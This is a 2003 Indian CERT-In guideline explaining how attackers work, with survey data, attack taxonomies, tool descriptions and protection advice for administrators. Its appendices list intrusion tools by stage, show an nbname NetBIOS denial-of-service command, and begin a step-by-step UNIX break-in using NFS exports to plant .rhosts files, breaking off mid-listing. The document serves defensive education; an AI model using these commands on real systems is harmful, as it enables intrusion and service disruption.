CERT-In Guideline CISG -2003-03

CERT-In

Indian Computer Emergency Response Team

Handling

Computer Security Incidents

Hacking – ***How they do it?***

Department of Information Technology
Ministry of Communications and Information Technology
Government of India

Contents

1. Introduction

The Computer Security Institute has just conducted the eighth computer crime and security survey [Ref:1] with the participation of San Francisco FBI's Computer Intrusion Squad. For the first time since 1999 the severity and cost of these attacks has seen a downward trend. However, despite the lower number of aggregate financial losses, the survey concludes that the risk of cyber attacks continues to be high. The survey of the year 2003 is based on the responses of 530 computer security practitioners in US corporations, government agencies, financial institutions, medical institutions and universities. The attacks continue unabated. The percentage of these incidents that are reported to the law enforcement agencies remains low. Even organizations with good security plans can fall victim to attacks resulting in significant losses.

Forty six percent of respondents reported unauthorized use. The total annual losses reported in this year's survey were US 201,797,340. The number of significant incidents this year is the same as in the previous year 2002.

The findings are as follows:

1. Theft of proprietary information caused the greatest financial loss
2. Denial-of-Service was the next major loss.
3. Losses due to financial fraud were significantly down.
4. Virus incidents (82%) and insider abuse of network access (80%) were the most cited form of attack or abuse
5. Most respondents (68%) opposed the idea of hiring reformed hackers

Most of the organizations surveyed are using various security technologies to protect their organizations. Almost all organizations use anti virus software (99%) and firewalls (98%). Most employ some kind of physical security (91%) to protect their computer and information assets, while they also employ some measure of access control (92%) Intrusion Detection Systems were used by 73% of respondents. Among other security technologies, deployment was as follows:

Encrypted Login	58%
Encrypted files	69%
Digital Ids	49%
Biometrics	11%

The survey also finds that many respondents do not know what is going on within their networks. Fifteen percent did not know whether there was any unauthorized use of their computer systems last year. Some of the other interesting findings of the survey are the following:

Types of Attack or Misuse Detected	percent of respondents
Denial-of-Service	42
Laptop	59
Active Wiretap	1
Telecom Fraud	10

Unauthorized Access by insiders	45
Virus	82
Financial Fraud	15
Insider Abuse of Net	80
System Penetration	36
Telecom Eavesdropping	6
Sabotage	21
Theft of proprietary info	21

The likely sources of attacks are identified by respondents to be the following:

Foreign Government	28 (percentage of respondents)
Foreign Corporation	25
Independent Hackers	82
US Competitors	40
Disgruntled Employees	77

The survey also revealed that 25% of respondents' websites suffered unauthorized access or abuse, while 53% were not abused. Some 22% did not know whether it had happened.

The breakup of website incidents had the following profile:

Attacks from inside	5
Attacks from outside	53
Attacks from both	18
Attacks not known	24

The type of unauthorized access or misuse of website had the following pattern:

Vandalism	36
Theft of transaction information	6
Denial-of-Service	35
Financial Fraud	4
Other	19

Some 76% of the respondents reported having website incident more that once during the year, with 23% having more than 10 incidents.

Finally, it is the Internet connection that was cited as the most frequent point of attack (78%), followed by remote dial-in (18%) and internal systems (30%).

According to IDC's recent survey [Ref:15] of over 1,000 companies across nine countries in Asia-Pacific, 72 percent of enterprises have experienced an Internet security breach while 39 percent felt their online threats have increased in the past year. The survey has found that three-quarters of businesses in Asia have suffered from network intrusions in the past. The survey covered Australia, Malaysia, Singapore, and Thailand, India, South Korea, Hong Kong, Taiwan, and China, with

1,021 organizations interviewed, all of which had over 100 employees and at least a computer network.

According to research released recently by IDC [Ref:16], the amount of information transmitted globally over the Internet will continue to double each year over the next five years. In 2002, the traffic volume was 180 petabits per day (one petabit = 1 million gigabits). This will increase to 5,175 petabits per day by 2007, according to IDC. This enormous increase in Internet traffic also brings in a proportional increase in security issues.

The Internet, which is the lifeline for e-commerce, e-governance, online information access, is also the source for all website attacks. The inherent weaknesses in the TCP/IP ports, the easy availability of hacking tools along with source code for the same, the known vulnerabilities in operating systems, databases and network devices/products makes it easy for hackers to break-in to systems and networks. Deploying network security systems is the least that is required to secure systems by organizations.

In this paper a brief introduction is provided on hackers, the types of attacks they can launch and the tools they use for carrying out their attacks. Viruses and vulnerability are briefly discussed. The methods and tools used by them to find vulnerabilities in operating systems and access vulnerabilities are mentioned. Buffer overflow is especially used by hackers, in their exploits to gain access to the system or execute the malicious code. This is briefly touched upon. The protection methods that organizations ought to use are also discussed. Finally, partial details of How Hackers Do It: Tricks, Tools and Techniques are provided using the well-known websites.

2. What is hacking?

A cracker is someone who tries to break the security of, and gain access to, someone else's system without being invited to do so. Hacker is someone with a strong interest in computers, who enjoys learning about them and experimenting with them. Today, the term ‘hacker’ is frequently ‘misused’ to have the pejorative meaning of cracker and is used synonymous with someone who gains unauthorized access to computers & networks. An intruder is an entity that gains or attempts to gain access to a system or system resource without having authorization to do so. People, generally, use the terms cracker, hacker and intruder to mean similar things even though there exists some basic difference among them.

3. Effects of hacking

Hackers can deface websites and steal valuable data from systems. They take corporate sites out of commission. This can translate into a significant loss of revenue if it is a financial institution or an e-commerce site. In the case of corporate and government systems loss of important data may actually mean the launch of information espionage or information warfare on their sites.

Gaining access to sensitive corporate information may be the subject of attacks. Getting into military information database might be more rewarding, than just messing up access on Bazee.com for a day.

Hackers may bombard a website with innumerable visitors or queries so as to make it dysfunctional temporarily in such a way that the legitimate users trying to access it for information or services may not be able to get there. This is known as DoS attack. If a large number of computers is involved it is Distributed DoS (DDoS).

4. Type of attacks

An attack is an assault on system security that derives from an intelligent threat, i.e., an intelligent act that is a deliberate attempt to evade security services and violate the security policy of a system.

4.1 Script-kiddies vs Sophisticated Hacker

Typical hacker profiles range from the hobbyist and on mission misfits to corporate spies. The first group is usually content to hurt by affecting network availability through Denial-of-Service (DoS) type attacks. Well placed spies or moles make every effort not to disrupt network traffic flows or to bring attention to their work as they slowly methodologically try to gain access to databases and information stored on sensitive servers.

What generally happens is that an advanced or elite hacker writes a scanning tool that looks for well-known vulnerabilities, and the elite hacker makes it available over the Internet. Less experienced hackers, commonly called "script kiddies," then run the scanning tool 24 x 7, scanning large numbers of systems and finding many systems that are vulnerable. They typically run the tool against the name-spaces associated with companies they would like to get into.

The script kiddies use a list of vulnerable IP addresses to launch attacks, based on the vulnerabilities advertised by a machine, to gain access to systems. Depending on the vulnerability, an attacker may be able to create either a privileged or non-privileged account. Regardless, the attacker uses this initial entry (also referred to as a "toe-hold") in the system to gain additional privileges and exploit other systems that have trust relationships with the penetrated system. All these systems may be sharing information, or be on the same network.

Once a toehold is established on a system, the attacker can run scanning tools against all the systems connected to the penetrated system. Depending on the system compromised, these scans can run inside an organization's network. Vulnerabilities and scanning tools are described below.

4.2 Inside vs Outside attacks

Attacks can originate from outside - mostly DoS attacks or attempts to penetrate the network infrastructure. From inside, there might be dissatisfied employees that rip up systems or vent their frustrations on network infrastructure, along with spies/moles. Last, but not the least, class is the abusers. They use the

network infrastructure in ways that can put the organization at risk. Chronic online gamblers and MP3 downloaders fit into this category. The CSI 2003 survey showed that insider abuse of network access (80%) was one of the most cited forms of attack or abuse.

4.3 Executable-based vs Network-based

The attacks can also be broadly be categorized into two: Executable based and network based. Executable based attacks include viruses, Trojan horses and worms because they work at the executable level and are based on software programs and as such run as executable. This malware can get into anything that uses an unprotected operating system (servers, desktops and laptops).

Network based attacks are attacks that try to penetrate network devices. DoS attacks exploit known vulnerabilities in a system rendering it unusable where as reconnaissance attacks scan the network and map network details for use in later attacks.

5. Virus, Trojan horse and Worm

5.1 Virus

A virus is a hidden, self-replicating section of computer software, usually malicious logic, that propagates by infecting--i.e., inserting a copy of itself into and becoming part of another program. A virus cannot run by itself; it requires that its host program be run to make the virus active. In short, it is a program fragment that is attached to a legitimate program with the intention of infecting other programs. According to the CSI 2003 survey, virus incidents were the most cited form of attack accounting 82 % of those surveyed.

Eg: A virus writer first produces a useful new program, often a game, which contains the virus code hidden away in it. The game is then distributed to unsuspecting victims through the channels available. When the victim starts up the game program, it examines all the binary programs on the hard disk to see if they are already infected. When an un-infected program is found, it is infected by attaching the virus code to the end of the file, and the first instruction with a jump to the virus. In addition to infecting other programs, a virus can do nasty things like erasing and modifying files.

5.2 Trojan horse

A Trojan horse is a computer program that appears to have a useful function, but also has a hidden and potentially malicious function that evades security mechanisms, sometimes by exploiting legitimate authorizations of a system entity that invokes the program. The idea of modifying a normal program to do nasty things in addition to its usual function and arranging for the victim to use the modified version is known as Trojan horse attack.

Eg: An attacker gets source code of an editor program, modifies it to steal someone's files (but still work perfectly as an editor), compile it and put it into the

victim's directory. Next time when the victim calls the editor program, the intruder's version is run which edits fine but steals all his files as well.

5.3 Worm

A computer program that can run independently, can propagate a complete working version of itself onto other hosts on a network, and may consume computer resources destructively is called a worm. It differs from a virus only in that a virus piggybacks on an existing program, whereas a worm is a complete program itself. Viruses and worms both attempt to spread themselves and both can do severe damage.

Eg: An attacker discovers/uses bugs in OS/Application that makes it possible to gain unauthorized access to machines on the Internet (like rsh, finger, sendmail). Then a self-replicating program is written which exploits the errors and replicates itself in seconds on every machine it could gain access to. The worm, usually, consists of two programs, bootstrap and proper. The bootstrap is executed on the system under attack. Once running, it connects to the machine from which it came, uploads the main worm, and executes it. It also tries to hide its existence and then look for machines that are connected to the infected machine and attempts to spread the bootstrap to those machines.

6. Vulnerabilities

Vulnerability is a flaw or a weakness in a system's design, implementation, or operation and management that could be exploited to violate the system's security policy. To use such a vulnerability to the advantage of the hacker is an exploit. Hackers use tricks, which include crafty procedure or practice designed to deceive, delude, or defraud so as to find short cuts for gaining unauthorized access to systems. They may use their access for illegal or destructive purposes, or may simply be testing their own skills to see if they can perform a task. Given that most hackers are motivated by curiosity and have time to try endless attacks, the probability is high that eventually they do find a sophisticated method to gain access to just about any environment. Most successful intrusions are accomplished through well known and well-documented security vulnerabilities that either have not been patched, disabled, or otherwise dealt with, leaving it to be exploited every day. The attack of SQL slammer worm earlier this year proved this, despite that fact that a patch for was available six months earlier.

6.1 Access Vulnerabilities

Most systems have vulnerabilities of some sort, but this does not mean that the systems are too flawed to use. Not every threat results in an attack, and not every attack succeeds. Success depends on the degree of vulnerability, the strength of attacks, and the effectiveness of any countermeasures in use. If the attacks needed to exploit a vulnerability are very difficult to carry out, then the vulnerability may be tolerable. If the perceived benefit to an attacker is small, then even an easily exploited vulnerability may be tolerable. However, if the attacks are well understood and easily made, and if the vulnerable system is employed by a wide range of users, then it is likely that there will be enough benefit for someone to make an attack.

6.2 OS Vulnerabilities

Hackers first look for vulnerabilities to gain access. Then they look for operating system (OS) vulnerabilities and for scanning tools that report on those vulnerabilities. Finding vulnerabilities specific to an OS is as easy as typing in a URL address and clicking on the appropriate link. There are many organizations that provide “full disclosure” information. Full disclosure is the practice of providing all information to the public domain so that it is not known only to the hacker community.

Mitre, a US government think tank, supports the Common Vulnerability and Exposures (CVE) dictionary. Their goal is to provide a list of standardized names for vulnerabilities and other information security exposures. CVE aims to standardize the names for all publicly known vulnerabilities and security exposures. Other security sites, such as SecurityFocus, CERT, the SANS Institute, and many others, provide information about how to determine the vulnerabilities an OS has and how to best exploit them. Thus, it is quite easy even for a novice hacker or script-kiddie to gain access to an unsecured system.

Using only a search engine and the CVE number, found by searching through the Mitre site, it is possible to find the source code and detailed instructions on how to use it. The entire process takes only a few minutes. The hacker can find the source code on the SecurityFocus web site and finds detailed instructions on the SANS site.

6.3 Application Vulnerabilities

Majority of the successful attacks on operating systems come from a few software vulnerabilities. The security of the organisation’s Web, Mail and Database servers doesn't stop at the operating system. Applications such as online banking, electronic storefronts, or information-serving sites are often developed with time-to-market, rather than security, as their main objective. If the applications are not secure, then critical information such as credit card numbers, privacy information, or account transactions can be at risk.

To address the inherent insecurity of custom-developed applications, detailed inspection of the applications needs to be carried out to uncover any hidden vulnerabilities. In the case of Web applications, one has to look at how dynamic content is created, the use of cookies, whether sessions can be 'hijacked,' whether users or accounts can be impersonated, as well as a host of other critical functions.

7. Tools for hacking

Hackers use a variety of tools to attack a system, each having distinct capabilities. Most popular tools can be categorized into:

- Port scanners
- Vulnerability scanners
- Rootkits
- Sniffers

7.1 Port Scanners

Port scanners are probably the most commonly used scanning tools on the Internet. These tools scan large IP spaces and report on the systems they encounter, the ports available, and other information, such as OS types. The most popular port scanner is Network Mapper (Nmap). The Nmap port scanner is described as follows on the Nmap web site [Ref 4] "Nmap is an open source utility for network exploration or security auditing. It was designed to rapidly scan large networks, although it works fine against single hosts. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (ports) they are offering, what operating system (and OS version) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. Nmap runs on most types of computers, and both console and graphical versions are available. Nmap is free software, available with full source code under the terms of the GNU GPL."

Nmap is an excellent security tool because it allows one to determine which services are being offered by a system. Because Nmap is optimized to scan large IP ranges, it can be run against all IP addresses used by an organization, or all cable modem IP addresses provided by an organization. After using Nmap to find machines and identify their services, one can run the Nessus vulnerability scanner against the vulnerable machines.

Nmap supports an impressive array of scan types that permit everything from TCP SYN (half open) to Null scan sweeps. Additional options include OS fingerprinting, parallel scan, and decoy scanning, to name a few. Nmap supports a graphical version through `xnmap`.

7.2 Vulnerability Scanners

Vulnerability scanners are tools available for scanning vulnerable systems. Vulnerability scanners look for a specific vulnerability or scan a system for all potential vulnerabilities. Vulnerability tools are also freely available. One of the most popular and best-maintained vulnerability scanner available today is, Nessus. The Nessus vulnerability tool is described on the Nessus web thus: "The "Nessus" Project aims to provide to the Internet community a free, powerful, up-to-date and easy to use remote security scanner. A security scanner is software, which will remotely audit a given network and determine whether crackers may break into it, or misuse it in some way.

Unlike many other security scanners, Nessus does not take anything for granted. That is, it will not consider that a given service is running on a fixed port—that is, if you run your web server on port 1234, Nessus will detect it and test its security. It will not make its security tests regarding the version number of the remote services, but will really attempt to exploit the vulnerability.

Nessus is very fast, reliable and has a modular architecture that allows you to fit it to your needs." It provides administrators and hackers alike with a tool to scan systems and evaluate vulnerabilities present in services offered by that system. Through both its command line and GUI-based client, Nessus provides capabilities that are invaluable.

7.3 Rootkits

The term rootkit describes a set of scripts and executables packaged together that allow intruders to hide any evidence that they gained root access to a system. Some of the tasks performed by a rootkit include modifying system log files to remove evidence of an intruder's activities, modifying system tools to make detection of an intruder's modifications more difficult, create hidden back-door access points in the system and use the system as a launch point for attacks against other networked systems.

Normally a rootkit will come with various "popular" exploits to assist the attacker in the re-entry of a system. Recently, many of the exploits have been related with common vulnerabilities found in BIND, Linux line printer, and Washington University's FTP (WU-FTP) program.

In addition to the exploits, many rootkits also come with and install sniffers. This is done because attackers want to capture passwords from users logging in over the network; a sniffer can do this and it's quite hard to detect. A rootkit can also change common binaries so that a busy administrator will not detect them. Common binaries are binaries that can be used to monitor a systems operation. Some of the common binaries are /bin/ps, /bin/ls, /bin/netstat, /usr/bin/lsof and /usr/bin/top (this is not a complete list).

7.4 Sniffers

Network sniffing, or just "sniffing," is using a computer to read all network traffic, of which some may not be destined for that system. To perform sniffing, a network interface must be put into promiscuous mode so that it forwards, to the application layer, all network traffic, not just network traffic destined for it.

8. Buffer Overflow

Most of the exploits based on buffer overflows aim at forcing the execution of malicious code, mainly in order to provide a root shell to the user. The principle is quite simple: malicious instructions are stored in a buffer, which is overflowed to allow an unexpected use of the process, by altering various memory sections. Stack overflows and heap overflows.

It occurs when programs do not adequately check input for appropriate length. Thus any unexpected input can "overflow" into another portion of the CPU execution stack. If the input is chosen judiciously by a rogue programmer, it can be used to launch program, of the programmer's choice.

Buffer overflows can be roughly segregated into two classes: remote and local. Local overflows require console access to exploit and are typically only available to interactively logged-on users. Remote buffer overflows are much more dangerous and can be exploited with zero privilege on the target system from any node on the network.

9. Denial-of-Service

DoS attack disrupts or completely denies service to legitimate uses, networks, systems or other resources. It is usually considered as the last refuge of the defeated attacker. DoS attack, typically exploits inherent weakness in the core protocol of Internet – TCP/IP. There are a variety of DoS attacks which broadly can be categorised into band-width consumption attacks, resource starvation attacks, routing/DNS attacks.

Numerous attacks over the years have grabbed headlines including attacks against Yahoo, eBay and CNN.com. These attacks were immediately identified as Distributed Denial-of-Service (DDoS) attacks. For the past twelve months, according to the CSI 2003 survey, losses from denial of service, clocked a 250% rise.

10.0 Hacking – How they do it?

As is clear from the above, the Internet is full of information on vulnerabilities in OS, applications and on network access. All the tools along with scripts to do hacking are also available for one and all. Nothing is hidden. Nobody has to work very hard to hack. Even novices can cause enough damage in the absence of adequate deployment of network security devices and implementation of the much needed security policies by organizations.

An attack is a series of steps taken by an attacker to achieve an unauthorized result. An attacker uses a *tool* to exploit a *vulnerability* to perform an *action* on a *target* in order to achieve an *unauthorized result*. **Besides virus, worm, Trojan horse, buffer-overflow and denial-of-service, some of the other common attacks [Ref: 10, 17] are:**

- **Brute-force** – method involving an exhaustive procedure that tries all possibilities, one-by-one.
- **Dictionary** - that uses a brute-force technique of successively trying all the words in some large, exhaustive list. (eg. Password cracking)
- **Man-in-the-middle**- gains access to a system via intervals of inactivity in another user's legitimate communication connection(eg. SMB relay)
- **Hijacking** - A form of active wiretapping in which the attacker seizes control of a previously established communication association(eg Session hijacking)
- **Eavesdropping/sniffing** - Passive wiretapping done without the knowledge of the originator or the intended recipients of the communication (eg. Password sniffing)
- **Trap door/Back door** - A hidden computer flaw known to an intruder, or a hidden computer mechanism (usually software) installed by an intruder, who can activate the trap door to gain access to the computer without being blocked by security services or mechanisms
- **Spoofing/Masquerading** - in which one system entity illegitimately poses as another entity (eg. IP spoofing)
- **Flooding** - that attempts to cause a failure in a system by providing more input than the entity can process properly(eg SYN-flooding).

- **Replay** – a valid data transmission is maliciously or fraudulently repeated, either by the originator or by an adversary who intercepts the data and retransmits it, possibly as part of a masquerade attack
- **Format string** – that exploits subtle programming errors in the formatted output family of functions(eg. CGI script attacks)
- **Input validation** – that occurs when a program fails to recognize syntactically incorrect input, accepts extraneous input or fails to handle missing input fields
- **Back-channel** – communication channel originates from the target system rather than fro attacking system (eg. Reverse telnet)
- **Promiscuous-mode** – sending maliciously crafted packet to network sniffing programs that run with root privileges, which when decoded would execute any command as root(eg. *tcpdump* attack).
- **Shell** – Subvert the way the shell of a privileged user works and get the user/background task to execute a malicious job
- **Port redirection** - After compromising a key target system and forward all packets to a specified destination there by enabling the attacker to access all systems behind the target(eg. compromising firewall)
- **Overload** – A shared resource or service is overloaded with requests to such a point that it is unable to satisfy request from other users(eg. CPU overload attack, process overload attack, disk full attack)

Broadly, these attacks can be classified into the following categories:

- **Stealing passwords** - methods used to obtain other users' passwords
- **Social engineering** – collecting inside information about systems through friendship with syatem administrators & other users and other similar methods of social interaction
- **Bugs and backdoors** - taking advantage of systems that do not meet their specifications, or replacing software with compromised versions
- **Authentication failures** - defeating of mechanisms used for authentication
- **Protocol failures** - protocols themselves are improperly designed or implemented
- **Information leakage** - using systems such as *finger* or the *DNS* to obtain information that is necessary to administrators and the proper operation of the network, but could also be used by attackers
- **Denial-of-service** - efforts to prevent users from being able to use their systems.

Another classification of the techniques that an attacker tries can be done according to the action performed by an attacker. This includes

- **probe** – access a target in order to determine its characteristics.
- **scan** – access a set of targets sequentially in order to identify which targets have a specific characteristic
- **flood** – access a target repeatedly in order to overload the target's capacity.
- **authenticate** – present an identity of someone to a process and, if required, verify that identity in order to access a target
- **bypass** – avoid a process by using an alternative method to access a target

- **spoof** – masquerade by assuming the appearance of a different entity in network communications Supplying such "false" information is commonly called an action to *spoof*. Examples include IP spoofing, mail spoofing and DNS spoofing.
- **read** – obtain the content of data in a storage device, or other data medium
- **copy** – reproduce a target leaving the original target unchanged
- **steal** – take possession of a target without leaving a copy in the original location.
- **modify** – change the content or characteristics of a target
- **delete** – remove a target, or render it irretrievable

Attacks can also be grouped into basic categories that describe the results of an attack like corruption, leakage, and denial.

- **corruption** is the unauthorized modification of information [*accuracy*, *integrity* & *authenticity*
- **leakage** is when information ends up where it should not be [*secrecy* and *confidentiality]*
- **denial** is when computer or network services are not available for use [availability]

An attacker can use blended threats that combine the characteristics of viruses, worms, Trojan Horses, and malicious code with server and Internet vulnerabilities to initiate, transmit, and spread an attack. By using multiple methods and techniques, blended threats can rapidly spread and cause widespread damage. Effective protection from blended threats requires a comprehensive security solution that contains multiple layers of defense and response mechanisms.

The "SANS/FBI Top 20 List" [Ref: 10], describes twenty most critical Internet security vulnerabilities. It also contains information about the Operating Systems affected, CVE numbers, how to determine if one is vulnerable and how to protect against it along with ports to block at the firewall level. According to this, the overwhelming majority of successful attacks target one of the services listed below:

Windows Systems

- Internet Information Services (IIS)
- Microsoft Data Access Components (MDAC) -- Remote Data Services
- Microsoft SQL Server
- NETBIOS -- Unprotected Windows Networking Shares
- Anonymous Logon -- Null Sessions
- LAN Manager Authentication -- Weak LM Hashing
- General Windows Authentication -- Accounts with No Passwords or Weak Passwords
- Internet Explorer
- Remote Registry Access
- Windows Scripting Host

Unix Systems

- Remote Procedure Calls (RPC)
- Apache Web Server
- Secure Shell (SSH)

- Simple Network Management Protocol (SNMP)
- File Transfer Protocol (FTP)
- R-Services -- Trust Relationships
- Line Printer Daemon (LPD)
- Sendmail
- BIND/DNS
- General Unix Authentication -- Accounts with No Passwords or Weak Passwords

Generally, an attacker starts with discovery of network fingerprints (IP addresses, open ports, services running etc) and enumeration of shared resources. This is followed by vulnerability mapping wherein known vulnerabilities are mapped to services running. The vulnerable services running on the systems are used for exploits. Some of the parameters used by an attacker are network surveying, port scanning, system fingerprinting, service probing, redundant & automated vulnerability scanning and exploit research.

Appendix I contains "Anatomy of a Hack" from the famous book Hacking Exposed [Ref: 4]. It gives techniques and tools for specific methodologies of footprinting, scanning, enumeration, gaining access, escalating privilege, pilfering, covering tracks, creating back doors and Denial-of-Service.

Appendix II details the celebrated case of hacking Windows 2000 server. Denial-of-Service attack on such a server using NetBIOS of the OS is described there. This example has been taken from the book Hacking Exposed [Ref:4]. It can be seen that it is so simple to launch such a vicious attack on servers that are not adequately protected.

Appendix III is an abbreviated version of the information found on the web site given at [Ref: 14]. In fact, it provides a detailed step-by-step procedure on hacking a UNIX system including Sun Solaris and Linux operating systems.

Appendix IV covers an example of how a server intrusion can be carried out by an attacker using freely available exploits over the Internet. It uses RedHat Linux as operating system along with Apache Web server and Open SSL.

11. Protection

11.1 Thumb-rules

- Maintain and enforce organisational information systems security policies
- Physical Security of computer and network equipments should be enforced strictly.
- Harden the Operating system; Disable any unwanted services
- Ensure that the audit trails are turned on

- Track and audit defensive steps. Regularly check logs.

- Install adequate security software to recognize attacks

- Use strong passwords**;** Choose passwords that are difficult or impossible to guess. Give different passwords to different accounts.

- Make regular backups of critical data; Maintain current backups of all important data; Backups may be made at least once each day. Larger organizations may perform a full backup weekly and incremental backups every day. At least once a month the backup media may be verified.

- Do not keep computers online when not in use**.** Either shut them off or physically disconnect them from Internet connection.

- Do not open e-mail attachments from strangers**,** regardless of how enticing the Subject Line or attachment may be. Be suspicious of any *unexpected* e-mail attachment from someone you *do* know because it may have been sent without that person's knowledge from an infected machine.

- Regularly download and update security patches, signatures from your software vendors**.**

- Report the incident to Incident Response Teams, Law Enforcement

- Maintain backups of all original Operating System Software and applications

- Place a banner on the system to notify unauthorized users that they may be subject to monitoring

- Routinely test the computers and network for vulnerabilities

- Keep an up-to-date inventory of hardware, software operating system and applications to speed up the identification of specific vulnerabilities that could affect the organization

- Prioritise vulnerabilities based on the potential risk to the business and address those with highest level of risk first.

- Develop procedures for quickly applying fixes to particular vulnerabilities

- Keep track of who is responsible for specific vulnerabilities and whether the correct fixes were successfully applied

- Change log-ins/passwords frequently

- Cancel log-ins/passwords when employees leave your organization.

- Install vendor patches for known vulnerabilities

- Maintain most current updates to anti-virus software

- Restrict/Monitor network access to internal hosts

- Develop an organisational computer incident response plan and establish contact with the national Incident Response organization, namely CERT-In.

11.2 Security technologies

- Access control to computer facilities and network infrastructure must be adhered to at all times. Use of advanced technologies like biometrics and Digital IDs is recommended.

- Encrypted logins and encrypted files should be used wherever possible.

- Enable packet filtering and access control list on routers

- Use a firewall as a gatekeeper between the organization and the Internet.

- Use Intrusion Detection System (IDS) and possibly intrusion prevention System (IPS) for identifying/thwarting network based attacks.

- Antivirus software must be used to help protect against executable based attacks.

- For an organization a 3-tier virus protection strategy may be considered which includes virus protection at gateway level, server level and the client level.

- Install Anti-virus software on the computer in the first place, check periodically for new virus signature updates, and then actually scan all the files on the computer periodically.

- Use authorization tools to validate users for remote access.

12. Conclusion

Lately, exploit development is catching up with security research. In many cases, exploits are being developed and released less than a day after vulnerability is announced. As a result, it is increasingly dangerous for systems to remain unprotected while connected to the Internet. Administrators must maintain a constant watch over malicious code, immediately update their security protection solution, and provide for rapid, timely patching. Educating the users and strict adherence to a well thought out organizational information security policy can reap better results in the current scenario of multiple vulnerabilities.

13. References

- CSI/FBI Computer Crime and Security Survey 2003; Computer Security Institute 2003; www.gocsi.com
- Internet Security Glossary; RFC 2828; www.ietf.org
- Computer Networks; A S Tennenbaum; PHI
- Hacking Exposed-Network Security Secrets & Solutions; Stuart McClure, Joel Scambray, George Kurtz et al.; TMH Edition 2002
- Practical UNIX & Internet Security; Simon Garfinkel et al.; O'Reilly
- NICP recommendations; www.nipc.org
- CVE cve.mitre.org
- SecurityFocus www.securityfocus.com
- CERT www.cert.org
- SANS Institute www.sans.org
- Sun www.sun.com
- Microsoft www.microsoft.com
- How hackers do it: Tricks, Tools and Techniques by Alex Noordergraaf
- http://www.undergroundnews.com/files/texts/underground/hacking/beginguide.htm
- Security can't stop Asian hackers: http://zdnet.com.com/2100-1105-1010044.html
- Internet traffic to double each year http://www.infoworld.com/article/-03/03/06/HNnettraffic_1.html
- Common Language for Computer Security Incidents; John D. Howard & Thomas A. Longstaff Software Engineering Institute, Carnegie Mellon University, Pittsburgh, PA, USA

Appendix-I

ANATOMY OF A HACK

OBJECTIVE	*METHODOLOGY*	*TECHNIQUES*	*TOOLS*
Target address range, namespace acquisition, and information gathering.	**Footprinting**	Open source search whois Web interface to whois ARIN whois DNS Zone transfer	USENet, search engines, Edgar Any unix client http://www.networksolutions.com/whois http://www.arin.net/whois dig, nslookup ls -d , Sam spade
Bulk target assessment and identification of listening services.	**Scanning**	Ping Sweep TCP/UDP port scan OS Detection	fping, icmpenum, WS_Ping ProPack nmap, SuperScan, fscan nmap, queso, siphon
More intrusive probing to identify valid user accounts or poorly protected resource shares.	**Enumeration**	List user accounts List file shares Identify applications	null sessions, DumpACL, sid2user, OnSite Admin showmount, NAT, Legion banner grabbing with telnet or netcat, rpcinfo
Enough data has been gathered at this point to make an informed attempt to access the target	**Gaining Access**	Password eavesdropping File share brute forcing Password file grab Buffer overflows	tcpdump, L0phtcrack, readsmb NAT, Legion tftp, pwdump2 (NT) ttdb, bind, IIS, .HTR/ISM.DLL
If only user level access was obtained in the last step, the attacker will now seek to gain complete control of the system.	**Escalating Privilege**	Password cracking Known exploits	john, L0phtcrack ic_messages, getadmin, sechole
The information gathering process begins again to identify mechanisms to gain access to trusted systems.	**Pilfering**	Evaluate trusts Search for cleartext passwords	rhosts, LSA secrets user data, configuration files, Registry
Once total ownership of the target is secured, hiding this fact from system admins becomes important.	**Covering Tracks**	Clear logs Hide tools	zap, Event Log GUI rootkits, file streaming
Trap doors will be laid in various parts of the system to ensure that privileged access is easily regained at the whim of the intruder.	**Creating Back Doors**	Create rogue user accounts Schedule batch jobs Infect startup files Plant remote control services Install monitoring mechanisms Replace apps with Trojans	members of wheel, Administrators cron, AT rc, Startup folder, Registry keys netcat, remote.exe, VNC, BO2K keystroke loggers, mail aliases login, fpnwclnt.dll
If an attacker is unsuccessful in gaining access, they may use readily available exploit code to disable a target as a last resort.	**Denial-of-Service**	SYN flood ICMP techniques Identical src/dst SYN requests Overlapping fragment/offset bugs Out of bounds TCP options DDos	synk4 ping of death, smurf land, latierra teardrop, bonk, newtear supernuke.exe trincoo/TFN/stacheldraht

Hacking Exposed - Network Security Secrets and solutions : Joel, Stuart,George

Appendix II

Hacking Step by Step (Windows)

The sending of NetBIOS Name service (NBNS, UDP 137) on a target NT/2000 machine forces it to place its name in conflict so that the system will no longer be able to use it. This effectively blocks the machine from participating in the NetBIOS network. An attacker can send the NetBIOS Name service a NetBIOS Name conflict even when the receiving machine is not in the process of registering its NetBIOS name. That places its name in conflict and it can no longer use it, effectively preventing the system form participating in the NetBIOS portion of the network.

The following is an example of an exploit called `nbname` that can send an NBNS Name Release packet to all entries in NetBIOS name table.

On Windows 2000 first disable NetBIOS over TCP/IP to prevent conflicts with the real NBNS services that normally use UDP 137 exclusively. The run `nbname` as follows:

```
C:\>nbname /astat <IP address of victim> /conflict
NBName v2.51 – Decodes……(std messages)
.
.
.
.
Winsock v2.0 (v2.2) WinSock 2.0
Winsock status: Running
Bound to port 137 on <IP address>
.
.
.
*******NBSTAT QUERY packet sent to <IP Address>
Waiting for packets…….

*** Received 301 bytes from <IP address>

[etc.]
```

An attacker could DoS an entire network using the following command `/QUERY [name IP] /CONFLICT /DENY [name_or_file]` switches.

The following are symptoms exhibited by the victim:

- Intermittent network connectivity issues arise
- Tools such s Network Neighbourhood do not work
- `Net send` command equivalents do not work.
- Domain logons are not authenticated by the affected server.
- Access to shared resources and to fundamental NetBIOS services such as NetBIOS name resolution cannot be obtained.
- The nbstat –n command may display a status of “conflict” next to the NetBIOS name service.

NBNS DoS countermeasures

- Acknowledge NBNS Name Conflict messages only while in the registration phase.
- Apply the patches available at http://www.microsoft.com.
- Ensure that UDP 137 is not accessible from outside the firewall.

Appendix-III

Hacking step by step (UNIX Operating Systems)

There are basically, 4 steps in hacking...

Step 1: Getting access to site.
Step 2: Hacking root.
Step 3: Covering the traces.
Step 4: Keep that account.

Step 1: Getting access.

There are several methods to get access to a site. The first thing to do is see if the system has an export list:

mysite:~>/usr/sbin/showmount -e victim.site.com
RPC: Program not registered.

If it gives a message like the above, then it's time to search another way in. This exploit is an old security problem found in most SUN OS's that could allow an remote attacker to add a .rhosts to a user's home directory. (That was possible if the site had mounted their home directory.)

mysite:~>/usr/sbin/showmount -e victim1.site.com
/usr victim2.site.com
/home (everyone)
/cdrom (everyone)
mysite:~>mkdir /tmp/mount
mysite:~>/bin/mount -nt nfs victim1.site.com:/home /tmp/mount/ mysite:~>ls -sal /tmp/mount

```
total 9
1 drwxrwxr-x   8 root     root         1024 Jul  4 20:34 ./
